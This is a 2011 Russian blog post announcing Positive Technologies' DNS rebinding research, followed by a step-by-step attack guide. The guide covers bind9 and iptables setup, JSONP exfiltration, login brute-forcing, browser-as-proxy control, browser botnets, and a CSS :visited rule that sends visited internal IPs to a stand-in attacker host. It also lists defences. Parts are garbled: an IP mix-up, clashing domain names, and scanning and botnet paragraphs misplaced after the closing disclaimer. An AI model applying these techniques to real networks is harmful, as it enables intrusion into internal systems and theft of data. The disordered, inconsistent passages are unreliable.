Страницы

понедельник, 11 июля 2011 г.

Эксперты компании Positive Technologies помогают vmWare устранять опасную уязвимость

Эксперты Positive Technologies провели исследования уязвимости «DNS Rebinding», по результатам которого впервые была получена практическая реализация атаки। Результаты исследования были озвучены на форуме Positive Hack Days (http://www.phdays.ru). Здесь были продемонстрированы новые векторы использования атаки «DNS Rebinding», известной так же как «Anti DNS Pinning».

Суть продемонстрированной уязвимости состоит в том, что браузер пользователя используется в качестве посредника между злоумышленником и атакуемой сетью. Это дает возможность злоумышленнику осуществлять атаку на виртуальные инфраструктуры. Причем атаке подвергается не инфраструктура управления виртуальными машинами, а рабочие станции пользователей и администраторов, которые обычно защищены гораздо слабее, чем серверы. В случае использования «DNS Rebinding» злоумышленник получает возможность взаимодействовать с внутренними системами со стороны внутренней сети атакуемой компании, что значительно облегчает задачу взломщика. Несмотря на то, что большинство современных браузеров имеют защиту от подобных атак, ее реализация не всегда эффективна и может быть обойдена.

В исследовании Positive Technologies на реальных примерах были продемонстрированы атаки на корпоративные сети, системы виртуализации, сетевое оборудование, средства защиты. Также детально был рассмотрен инструментарий для использования уязвимости и то, каким образом можно обойти существующие ограничения. Также авторы подробно рассмотрели способы защиты от этой атаки и связанных уязвимостей. В результате исследования впервые была получена практическая реализация атаки «DNS Rebinding».

Автор исследования, эксперт по информационной безопасности исследовательского центра Positive Research компании Positive Technologies Денис Баранов так прокомментировал результаты работы: «Переход к веб-интерфейсам управления различными системами несет в себе определенные риски. Зачастую одно и то же приложение используется для серфинга в сети Интернет и для управления корпоративной инфраструктурой. В ряде ситуаций, как в случае с VmWare, для управления может использоваться отдельное приложение, использующее для обмена данными протокол http, что делает серверную инфраструктуру уязвимой для атак «DNS Rebinding».

В настоящее время компании, в чьих системах была обнаружена уязвимость, совместно с экспертами Positive Technologies работают над устранением ошибок.


Подробности:

Основой модели безопасности, заложенной в современные браузеры, является механизм «Same origin policy». Суть его заключается в том, что современные браузеры следят за тем, чтобы сценарии, загружаемые с какого либо сайта, могли отправлять запросы исключительно к домену, с которого они были загружены. Исключение составляет лишь возможность передавать POST запросы на другой домен и возможность подключать к странице файлы javascript и css. При этом не существует никаких легальных способов читать данные полученные с другого домена.

Обход ограничений
Подумаем, чего конкретно можно было бы добиться, если бы ограничение на получение данных с других доменов удалось отменить?

В первую очередь, мы бы получили возможность не только отправлять запросы на сторонние ресурсы (как при стандартных CSRF атаках), но и обрабатывать ответы, полученные от сервера. А значит, большая часть механизмов, предназначенных для защиты от CSRF атак, перестала бы работать. Мы могли бы получить доступ к ресурсам, расположенным во внутренней сети пользователя, в частности к тем, доступа к которым извне нет, используя при этом браузер пользователя в качестве прокси. Также можно было бы получать конфиденциальные данные с ресурсов, на которых пользователь проходит аутентификацию при помощи сертификатов. Хорошим примером подобного веб приложения для корпоративной среды является почтовый сервер Outlook Web Access.

Именно для обхода ограничения «Same origin policy» и было придумано семейство атак Anti DNS pinning, так же известное как DNS rebinding.

Атакам типа Anti DNS pinning подвержены веб-сервера, которые отвечают на HTTP запросы с произвольным значением заголовка Host। В частности уязвимы все веб-сервера Apache и IIS с конфигурацией по умолчанию. Также уязвимы практически все удалённые сервисы, к которым не предполагается доступ через веб сервис, но команды к которому передаются по протоколу HTTP, в частности уязвимы практически все сервисы предоставляющие удалённые API с управлением при помощи протоколов SOAP, XML-RPC, или подобных. Примером уязвимого сервиса является протокол управление системой виртуализации VMware ESX.





А суть в том, что современные браузеры, при получении странички с какого-либо сайта, кешируют результаты DNS-запроса, это делается для предотвращения отправки запросов к сторонним серверам, посредством подмены IP адреса. Этот механизм называется DNS Pinning.
Соответственно подумаем, что сделать для того, чтобы этот механизм обойти. Раньше атака (в теории) могла проводиться следующим образом:
1) Жертва обращается к домену, принадлежащему злоумышленнику;
2) Получает с DNS сервера IP адрес соответствующий доменному имени;
3) Обращается на веб-сервер (соответствующий полученному IP) и получает с него сценарий javascript;
4) Полученный Javascript через некоторое время после загрузки инициирует повторный запрос на сервер;
5) А в этот момент атакующий при помощи межсетевого экрана блокирует все запросы жертвы к серверу;
6) Браузер пытается повторно узнать IP адрес сервера (послав соответствующий DNS запрос) и на этот раз получает IP адрес уязвимого сервера из локальной сети жертвы .

Соответственно, если удастся заманить жертву на свой домен "evil.xxx", можно заставить браузер пользователя думать о том, что этому имени домена соответствует не IP адрес из внешнего интернета, а IP адрес из локальной сети. По этому адресу может, к примеру, располагаться какой-нибудь важный внутрикорпоративный ресурс. Проблема только в том, что этот вариант атаки не работает.

Реализуем на практике
Как можно понять из описания атаки, нам потребуется один сервер, на котором нужно поднять и настроить web и dns сервера, также потребуется доменное имя, на который можно будет заарканивать жертву. При регистрации доменного имени указываем в качестве NS серверов данные нашего сервера.

Как выяснилось на практике, для успешного проведения атаки нужно сконфигурировать NS сервер так, чтобы он возвращал оба ip адреса одновременно, в качестве ответа на DNS запрос. Причём IP адрес сервера на котором лежит javascript, проводящий атаку, должен возвращаться первым, а ip адрес сервера жертвы - вторым. В таком случае при обращении к домену браузер сначала загрузит атакующий скрипт с нашего сервера и лишь потом, когда на сервер станет недоступным (в результате блокировки запроса межсетевым экраном), обратится к серверу жертвы.
Для этой цели вполне подходит сервер "Bind 9". Для того, что бы он возвращал IP адреса в нужном порядке, его нужно собрать из исходных кодов (только так, и никак иначе!) с флагом --enable-fixed-rrset. По умолчанию этот флаг не установлен, а, значит, версии распространяемые в бинарниках использовать не выйдет.

В настройках bind9 указывается, что следует использовать фиксированный порядок следования IP адресов. Для этого в named.conf.options, в параметре options указывается: rrset-oredr { order fixed; }; Далее, нужно настроить зону, на примере домена "dns.evil.xxx":
dns A 97.246.251.93
A 192.168.0.1

В итоге, при обращении к DNS серверу атакующего для домена dns.attacker.ru браузер всегда будет обращаться сначала к IP адресу 97.246.251.93, затем, если он недоступен, к 192.168.0.1. В некоторых случаях, этот порядок может нарушаться, подробнее описано ниже.

Помимо сервера DNS для проведения атаки потребуется веб-сервер (в качестве примера, рассмотрим веб-сервер Apache) и удобный механизм блокирования входящих запросов на соединение с сервером.

Для блокировки входящих запросов можно использовать межсетевой экран iptables, и наиболее эффективным способом блокировки является отправка пакета с tcp-reset в ответ на попытку соединения, иначе браузер будет тратить лишнее время в рамках таймаута TCP-сессии на ожидание ответа от сервера. При помощи iptables это делается следующим образом:
iptables -A INPUT -s [блокируемый IP адрес] -p tcp --dport 80 -j REJECT --reject-with tcp-reset


Описание: Блокируем пользователя при помощи iptables

В примере сознательно блокируется только 80 порт, так как для реализации атаки понадобится сервис, на который будут отправляться полученные от клиента данные, и для того, чтобы не выделять под него отдельный сервер, гораздо проще выделить отдельный порт.

В итоге атака выглядит следующим образом:
1) Жертва обращается к домену dns.evil.xxx;
2) DNS сервер атакующего, возвращает оба IP адреса, в фиксированном порядке;
3) Браузер перенаправляет запрос к серверу расположенному на внешнем IP 97.246.251.93;
4) Сервер возвращает HTML страничку с JavaScript'ом;
5) После загрузки странички в браузере, клиентский javascript шлёт запрос к домену dns.evil.xxx;
6) После получения запроса, серверный скрипт блокирует входящие соединения с IP адреса жертвы;
7) Через некоторое время клиентский скрипт снова обращается к домену dns.attacker.ru и, поскольку сервер с IP 97.246.251.93 возвращает RST, запрос перенаправляется на локальный сервер с IP 192.168.0.1.

Теперь наш javascript может слать любые GET/POST/HEAD запросы к приложению, расположенному на IP - 97.246.251.93, обрабатывать полученные ответы и отправлять результаты атакующему!

Полезная нагрузка
Итак, браузер думает, что нашему скрипт был загружен с ресурса из внутренней сети, и у нас есть возможность этим ресурсом управлять. Какие задачи этот скрипт должен выполнить для получения практической пользы?

Во-первых, скрипт должен определить, с каким конкретно приложением мы имеем дело, затем - есть ли какая-нибудь авторизация, которую придётся обходить, или пользователь уже автоматически авторизовался, в результате использования схемы однократного ввода пароля, и полезные данные можно вытянуть из приложения без необходимости подбора пароля пользователя. Затем скрипт должен выполнить команды, заложенные в нём для данного типа оборудовании, к примеру, изменить конфигурацию, или получить копию писем/документов хранящихся на уязвимом сервере. После выполнения жёстко заданных команд можно переключить браузер жертвы в режим прокси сервера и дать возможность атакующему слать запросы к приложению в режиме On-line.

До выполнения всех этих задач, нужно разобраться с тем, как скрипт будет отправлять запросы к уязвимому приложению, и как будет происходить передача полученных данных на сервер атакующего.

Не забываем о том, что ограничения Same origin Policy мы уже обошли, а значит для общения скрипта с уязвимым сервером можно использовать стандартные AJAX технологии в частности компонент XMLHttpRequest. С передачей полученных данных на сервер сложнее, так как сервер управления процессом атаки (административная панель атакующего) располагается либо на другом домене, либо на другом порту (помним о том, что 80й порт на своём сервере мы заблокировали), а значит скрипт снова столкнётся с ограничениями Same Origin Policy. К счастю, для решения этой проблемы была придумана технология под названием JSONP, использовании которой позволит отправлять запросы на наш сервер, если тот будет возвращать специальным образом подготовленные ответы (подробнее о JSONP вы можете прочитать ан ресурсах посвящённых WEB программированию). С механизмами всё ясно, идём дальше.

Определение версии приложения
Часть приложений при обращении к несуществующему ресурсу возвращает HTTP ответ с кодом ошибки 404, часть возвращает код ошибки 500, некоторые виды оборудования возвращают нормальный ответ с кодом ошибки 200 и страницей авторизации, или типовой страницей сообщающей о том, что ресурс не найден. В связи с этим, во избежание большого числа ложных срабатываний, нельзя просто проверять код ответа при обращении к ресурсу специфичному для данного вида оборудования. Необходимо анализировать возвращаемую страницу, для определения наличия какого либо ключевого слова, либо смотреть на значение поля Content-Length и сравнивать с размером страницы у определяемого устройства .

Главной проблемой при работе с неизвестным оборудованием является возможность наткнуться на BASIC аутентификацию. Проблема заключается в том, что на данный момент нет ни одного известного способа предотвратить появление окошка с просьбой ввести пароль, если при обращении к ресурсу правильный пароль не передавался в HTTP запросе. Самым известным примером оборудования, использующего basic авторизацию, являются маршрутизаторы Cisco . Поэтому если есть подозрения, что по данному адресу располагается оборудование Cisco, следует в первую очередь отправить запрос со стандартным логином /паролем, либо отказаться от отправки запросов к этому серверу. В случае, если пароль не подойдёт и пользователь кликнет на кнопку окошка авторизации , скрипт сможет узнать о том что получен 401 код ответа сервера и либо прекратить попытки, либо попробовать следующие вероятные пароли.

Описание: окошко basic авторизации


Подбор пароля
Перед тем как подбирать логин/пароль пользователя необходимо проверить, не был ли пользователь авторизован автоматически, для этого нужно хранить сигнатуру ответа сервера в том случае, если дополнительная авторизация не требуется. После такой проверки, при необходимости, можно осуществлять перебор. Нужно учитывать, что на некоторых видах сетевого оборудования (пример - межсетевой экран Check Point) авторизация осуществляется в несколько этапов, и необходимо реализовать функции получения нужных идентификаторов сессии (токенов ) и подстановки их в качестве параметров при отправке запросов. Для этих целей проще всего разработать свой язык шаблонов и заменять в этих шаблонах метки токенов на их реальные значения перед отправкой запроса на сервер. Также определить имена функций, которые следует вызывать при получении каждого последующего пакета от сервера.

Описание: процесс авторизации в приложении OWA

Выполнение команд
При отправке команд на атакуемый сервер, следует помнить о том, что следует либо использовать, либо XMLHttpRequest перевести в синхронный режим, либо синхронизировать отправку команд вручную и не отправлять последующую команду до тех пор, пока не придёт ответ от на предыдущую. В целях повышения быстродействия работы скрипта я рекомендую второй вариант, т.к. ваш скрипт в это время может выполнять ещё какую-нибудь работу, и дожидаться ответа от сервера путём временной блокировки работы скрипта слишком расточительно.

Использование браузера жертвы в качестве прокси прокси-сервера
Для использования браузера жертвы в качестве прокси после окончания работы скрипта  нужно запустить функцию setInterval в которую передать код, который будет запрашивать у управляющего сервера следующую команду, которую нужно запустить на атакуемом оборудовании. А результат выполнения команды можно передавать обратно на сервер.

Описание: получение конфигурации с оборудования cisco

Описание: результат атаки на Outlook Web Access

Атака на корпоративные сети
Мы разобрались что делать, если цель одна, теперь надо разобраться, как атаковать корпоративные сети целиком. Ну и в первую очередь, для проведения такой атаки необходимо научиться в приемлемое время определять IP адреса целей атаки. Во вторую - обеспечить возможность атаки нескольких целей за один сеанс работы пользователя. В-третьих, дать возможность совершения распределённых атак на один и тот же сервер с нескольких браузеров, расположенных во внутренней сети компании. И, в-четвёртых, дать возможность отправлять запросы на различные IP адреса при использовании браузера жертвы в качестве прокси (выше шла речь об отправке подобных команд только на один адрес).


Целеуказание С использованием этого подхода связано несколько очевидных проблем:
1) Прокси-сервер, находящийся в сети, может возвращать ответ даже при отправке запроса на несуществующий IP адрес, таким образом метод onLoad будет срабатывать даже в том случае, если этот IP адрес не принадлежит реально существующему хосту.
2) Вероятно возникновение большое количество ложных срабатываний при ошибках выбора значения таймаута.
3) При большом значении таймаута и/или большом диапазоне перебираемых адресов подбор может занять значительное время.

Для решения этих проблем можно воспользоваться другим методом определения целей.

CSS History Hack v 2.0 Несколько лет назад, был предложен интересный способ определения веб-адресов, которые посещал пользователь браузера. Суть метода в том, что при помощи javascript можно узнать цвет ссылки созданной на странице и для ранее посещённых ссылок этот цвет отличается от не посещённых. Таким образом, сформировав список веб-адресов, можно при помощи javascript создать тег гиперссылки A для каждого адреса из списка и сверить его цвет с цветом уже посещённой ссылки. Для простоты работы, цвета уже посещённых ссылок задаются явно при помощи CSS. В итоге сформировав список из ip адресов, на которых потенциально может располагаться оборудование, к которому администраторы получают доступ непосредственно по IP адресу, можно узнать на каких адресах располагаются сетевые ресурсы.
Прошло несколько лет, и эту уязвимость закрыли, современные версии браузеров (например, IE 8) теперь всегда для ссылок программно отдают цвет по умолчанию, даже если ранее ссылка была посещена. Обойдём этот вариант исправления уязвимости. Для этого всё так же жёстко зададим массив ссылок, например:

var links = [
'http://192.168.0.1',
'http://192.168.1.1',
'http://10.1.1.1'
];
и для каждой ссылки в динамически создаваемый тег STYLE добавим CSS правило вида:
A#id:visited { background:url('http://admin.evil.xxx:8080/backonnect.php?url=http://192.168.0.1'); }
В итоге, при создании ссылки, которая была посещена, браузер попытается загрузить url, указанный в адресе, а для не посещённой ссылки url загружаться не будет. Таким образом, на сервер можно передать информацию о посещённых ссылках, и этому виду атаки подвержены все актуальные на сегодня версии браузеров, в том числе и самые новые.

Атака нескольких целей
Для проведения атаки типа DNS rebinding требуется производить блокировку соединений со стороны пользователя, причём с учётом реакции современных браузеров эту блокировку следует производить ещё во время TCP handshake.

Если эту блокировку проводить уже после того, как соединение установления, блокируя HTTP пакеты, содержащие определённое имя домена, то браузер не будет использовать альтернативный адрес. В частности браузеры IE и Firefox возвращают ответ 200 OK с пустым телом ответа, а браузер Opera возвращает код ошибки 404 и не пытается соединиться с другим IP адресом. Таким образом, параллельная атака нескольких ресурсов одновременно с использованием стандартного подхода невозможна.

Для проведения атаки на несколько целей можно выделить функции определения целей и выбора текущей цели в отдельную HTML-страницу. При обнаружении цели её IP адрес будет передаваться на сервер и серверный скрипт должен создать для атаки на неё соответствующий субдомен в таблице DNS, к примеру для ip адреса 192.168.0.1 можно создать субдомен 192.168.0.1.dns.evil.xxx, и после его создания управляющая страница по адресу http://dns.evil.xxx/control.html должна создать iframe , в который будет загружен документ содержащий клиентский скрипт проведения атаки DNS Rebinding, находящийся, к примеру, по адресу http://192.168.0.1.dns.evil.xxx/rebinding.html .

Для того, чтобы не приходилось добавлять виртуальные сайты в ходе атаки, нужно настроить виртуальный хост веб-сервера таким образом, чтобы для всех поддоменов отдавались одни и те же файлы, что создает парадокс. Сервер осуществляющий атаку будет сам уязвим для нее.
Полученная страница сообщает серверу, чтобы он обслуживал только её запросы, запрашивает блокировку ip-адреса атакуемого, выполняет работу и отпускает блокировку. Вместе с этим сервер вновь разрешает запросы от жертвы.

Полный алгоритм выглядит следующим образом:
1) Система определения целей передаёт ip-адреса целей на сервер атакующего (допустим 97.246.251.93);
2) Управляющий скрипт на клиенте запрашивает доменное имя цели у сервера;
3) Сервер создаёт DNS запись для субдомена, который будет использоваться для атаки на конкретный IP адрес.
Пример:
97.246.251.93.dns.evil.xxx A 97.246.251.93
A 192.168.0.1


4) Управляющий скрипт указывает полученное имя домена в качестве параметра src тега IFRAME;
5) Документ, полученный с домена 192.168.0.1.evil.xxx, запрашивает у сервера блокировку;
6) Сервер перестаёт отдавать реагировать на запросы о получении адреса целей и блокирует обращения с браузера жертвы на 80 порт;
7) Клиентский скрипт выполняет работу по получению нужных данных/управлению оборудованием;
8) После окончания работы клиентский скрипт сообщает серверу, что блокировку можно освободить;
9) Сервер освобождает блокировку и снова разрешает доступ с адреса атакующего на 80 порт;
10) Управляющий скрипт запрашивает адрес следующей цели и процесс повторяется при необходимости.

Описание: динамическое создание поддоменов

Для динамического создания DNS записей, можно использовать механизм автоматического обновления DNS, например утилиту nsupdate. При её использовании перезагрузка DNS сервера не потребуется.

Защита от атаки типа DNS Rebinding В принципе есть несколько способов защититься от данного вида атак, например:
1) Правильная настройка ПО сервера: Удалить на веб-серверах параметр VirtualHost со значением _default_, или *:80, и явно прописать имена хостов.
2) Защита со стороны разработчика веб приложения: При установке приложения предлагать пользователю ввести доменное имя сервера, на котором будет располагаться приложение,и обрабатывать запросы от клиента только в том случае, если параметр Host запроса HTTP сответствует имени домена, указанного при установке.
3) В браузерах использовать плагин NOSCRIPT или аналоги и запретить выполнение скриптов JavaScript, Java апплетов или Flash приложений.
4) Использовать разделение зон, при котром скрипту, полученному из внешнего интернета, будет однозначно запрещено обращаться к ресурсам, расположенным в локальной сети пользователя.

При таком подходе однозначно уязвимыми остаются только удалённые сервисы, преоставляющие API, для которых имя хоста не предусмотрено в принципе, к примеру API, предоставляемые для работы с облаками на базе Amazon EC2, или система виртуализации VMware ESX.

Информация представлена исключительно с целью ознакомления!
В том случае, когда при атаке на какой-либо IP адрес пароль не удаётся подобрать за приемлемое время или одновременно атакуется множество целей, можно провести распределённую атаку, сформировав бот-сеть из браузеров пользователей. В этом случае ссылка на атакующий сервер рассылается по большому количеству электронных адресов сотрудников компании и при каждом последующем запросе к управляющему серверу передается следующая серия вероятных паролей до тех пор, пока пароль не будет найден.Во-первых, для определения целей можно сканировать IP адреса сети по диапазону. Для сканирования подобным образом можно пользоваться, к примеру, тегом IFRAME, и событием onLoad. Другой вариант реализации - при помощи javascript создавать объект Image и также при помощи обработчика события onLoad определять, загрузилось ли изображение. Для определения того, что по данному адресу ресурс не был обнаружен, можно пользоваться функцией setTimeout, которая по истечении некоторого времени будет проверять, создался ли объект или нет, и если объект не создан - сигнализировать о том, что ресурс по данному адресу не найден.

Комментариев нет:

Отправить комментарий